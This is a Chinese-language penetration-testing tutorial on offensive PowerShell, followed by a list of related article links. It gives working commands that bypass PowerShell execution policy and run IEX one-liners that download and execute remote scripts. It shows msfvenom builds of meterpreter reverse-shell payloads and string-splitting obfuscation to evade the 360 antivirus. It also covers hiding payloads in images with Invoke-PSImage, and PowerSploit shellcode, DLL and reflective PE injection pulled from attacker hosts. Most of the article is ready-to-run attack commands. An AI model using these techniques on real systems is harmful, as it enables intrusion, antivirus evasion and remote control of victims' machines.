渗透测试技术之Powershell命令操作及使用方法大全
摘要:Powershell是一个功能强大的shell,它支持 NET,可以通过命令来操作Windows服务。 现在,它已广泛用于渗透测试和其他方面。 在不写入磁盘的情况下执行命令也可以逃脱Anti-Virus检测。
与Linux的bash一样,Powershell是一个功能强大的shell,它支持.NET,可以通过命令来操作Windows服务。 现在,它已广泛用于渗透测试和其他方面。 在不写入磁盘的情况下执行命令也可以逃脱Anti-Virus检测。
语法
| 管道字符用于将一个命令的输出作为另一命令的输入
; 分号用于连续执行系统命令
&是呼叫运算符,可让您执行命令,脚本或功能
双引号可以替换内部变量
用双引号引起来的双引号,用单引号引起来的单引号,输出写两次
常用命令
使用powershell满足标准的动词-名词组合,以帮助我们更快地理解。
Get-Alias -name dir 获取别名名称目录
ls env查看当前环境变量
Get-ExecutionPolicy查看当前执行策略
Set-ExecutionPolicy设置执行策略
Get-Host获取主机视图Powershell版本
Get-Content查看文件内容
Get-Content test.txt显示文本内容
Set-Content test.txt-Value “hello,word”设置文本内容
Get-Process查看当前服务列表
Get-Location获取位置
Get-WmiObject -Class Win32_ComputerSystem |Select-object -ExpandProperty UserName查看登录到物理机的用户
执行策略
powershell有六种执行策略:
Unrestricted具有最高权限,可以不受限制地执行任何脚本
Restricted 默认策略,不允许执行任意脚本
AllSigned必须对所有脚本进行签名才能运行
RemoteSigned Local脚本不受限制,但是必须对网络中的脚本进行签名
Bypass无限制绕行和提示
Undefined 未定义没有设置脚本的策略
Set-ExecutionPolicy默认情况下禁用脚本执行。 除非管理员更改执行策略。 设置执行策略
有几种方法可以绕过执行策略:
1.本地读取并通过管道字符运行
powershell Get-Content 1.ps1 | powershell -NoProfile –
2.通过IEX远程下载并运行脚本
powershell -c “IEX(New-Object Net.WebClient).DownloadString(‘http://xxx.xxx.xxx/a.ps1‘)”
3.绕过执行策略Bypass
powershell -ExecutionPolicy bypass -File ./a.ps1
没有警告和提示
4.Unrestricted执行策略标志
powershell -ExecutionPolicy unrestricted -File ./a.ps1
运行从Internet下载的未签名脚本时的权限提示
需要说明的是:
Invoke-Expression(IEX的别名):用于将字符串作为命令执行。
WindowStyle Hidden(-w Hidden):隐藏窗口
Nonlnteractive(-NonI):非交互模式。 PowerShell不为用户提供交互式提示。
NoProfile(-NoP):PowerShell控制台不会加载当前用户的配置文件。
Noexit(-Noe):执行后不要退出shell。
EncodedCommand(-enc):接受base64编码的字符串编码,以避免某些解析问题
bypass Anti-Virus
如果考虑实际情况,假设我们已经获得了一个webshell。 在上述方法中,仅IEX可以被远程加载和运行,其余方法需要上载ps Trojan,然后绕过执行策略。
msfvenom生成ps木马
msfvenom -p Windows / x64 / meterpreter / reverse_tcp LHOST = 192.168.203.140 LPORT = 4444 -f psh-reflection> a.ps1
但是某些杀毒软件在杀死powershell命令方面更加严格。 以360为例:
在后一种情况下,您可以将绕过执行策略的命令修改为bat文件,然后再次运行它。 可以绕过360
powershell -ExecutionPolicy bypass -File ./a.ps1
将命令另存为c.bat并运行斩波器。
对于IEX,这种直接运行的便捷方法将被360拦截。请尝试简单的语法更改。
主要对DownloadString,http做一些处理。
例如:
powershell.exe
”
$c1=’powershell -c IEX’;
$c2=’(New-Object Net.WebClient).Downlo’;
$c3=’adString(”http://192.168.197.192/a.ps1”)’;
echo ($c1,$c2,$c3)
”
该命令被拆分为字符串,然后进行拼接。
应当注意,双引号可以输出变量,两个单引号可以用于输出单引号。
该命令已成功输出。 可以将Echo更改为IEX来运行,绕过360。
您也可以使用替换,bypass
powershell “$c1=’IEX(New-Object Net.WebClient).Downlo’;$c2=’123(”http://192.168.197.192/a.ps1”)’.Replace(’123′,’adString’);IEX ($c1+$c2)”
您还可以绕过http字符,也可以绕过
powershell “$a=’IEX((new-object net.webclient).downloadstring(”ht’;$b=’tp://192.168.197.192/a.ps1”))’;IEX ($a+$b)”
直接在菜刀中运行后,实际测试还可以生成会话
为了更好地在实战中使用,系统命令可以使用c,vbs,hta,python等语言执行,以达到绕过的效果。
还编写了编码和混淆框架
https://github.com/danielbohannon/Invoke-Obfuscation
https://www.freebuf.com/sectool/136328.html
还有一个脚本Invoke-PSImage.ps1,该脚本执行无Powershell脚本的杀死,该脚本主要将有效负载分散到图像的像素中,最后在远程执行时在重构的像素中执行有效负载。
参考:https://github.com/peewpw/Invoke-PSImage
使用时,您需要准备足够大的图片。 我使用1900 * 1200图片x.jpg。
C:\>powershell
PS C:\> Import-Module .\Invoke-PSImage.ps1
PS C:\> Invoke-PSImage -Script .\a.ps1 -Image .\x.jpg -Out .\reverse_shell.png -Web
a.ps1是msf木马,-Out生成reverse_shell.png图像,-Web输出从Web读取的命令。
将reverse_shell.png移至Web目录并替换URL地址。 只需在powershell中运行它即可。
加载shellcode,dll,exe
在“网络安全攻击与防御”一书中,有一些方法可以使用PowerSploit脚本加载shellcode和dll来反弹meterpreter shell。 我把以前的笔记放在这里。
1.加载shellcode
msfvenom生成脚本木马
msfvenom -p Windows / x64 / meterpreter / reverse_https LHOST = 192.168.72.164 LPORT = 4444 -f powershell -o / var / www / html / test
在Windows目标上运行命令
IEX(New-Object Net.WebClient).DownloadString(“http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-Shellcode.ps1“)
IEX(New-Object Net.WebClient).DownloadString(“http://192.168.72.164/test“)
调用Shellcode -Shellcode($ buf)-强制木马
使用Invoke-Shellcode.ps1脚本执行Shellcode
反弹meterpreter shell
2.加载dll
使用msfvenom生成dll木马脚本
msfvenom -p Windows / x64 / meterpreter / reverse_tcp lhost = 192.168.72.164 lport = 4444 -f dll -o /var/www/html/test.dll
将生成的dll上载到目标C驱动器。 在目标上执行以下命令
IEX(New-Object Net.WebClient).DownloadString(“http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-DllInjection.ps1“)
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
创建一个新进程以启动记事本并将其设置为隐藏
使用记事本调用-DllInjection -ProcessID xxx -Dll c:\ test.dll PID
使用Invoke-DLLinjection脚本启动dll注入的新进程(无需杀毒软件)
反弹meterpreter session
3.载入exe
msfvenom生成exe木马(不免杀)
msfvenom -p Windows / x64 / meterpreter / reverse_tcp lhost = 192.168.197.195 lport = 4444 -f exe> /var/www/html/test.exe
仍然是Powersploit的Invoke-ReflectivePEInjection.ps1脚本,该脚本可以直接加载exe来实现旁路。
powershell.exe -exec bypass -c “IEX(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/clymb3r/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1‘);Invoke-ReflectivePEInjection -PEUrl http://192.168.197.195/test.exe -ForceASLR”
反弹meterpreter shell
相关热词搜索:渗透测试 Powershell 网络安全
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了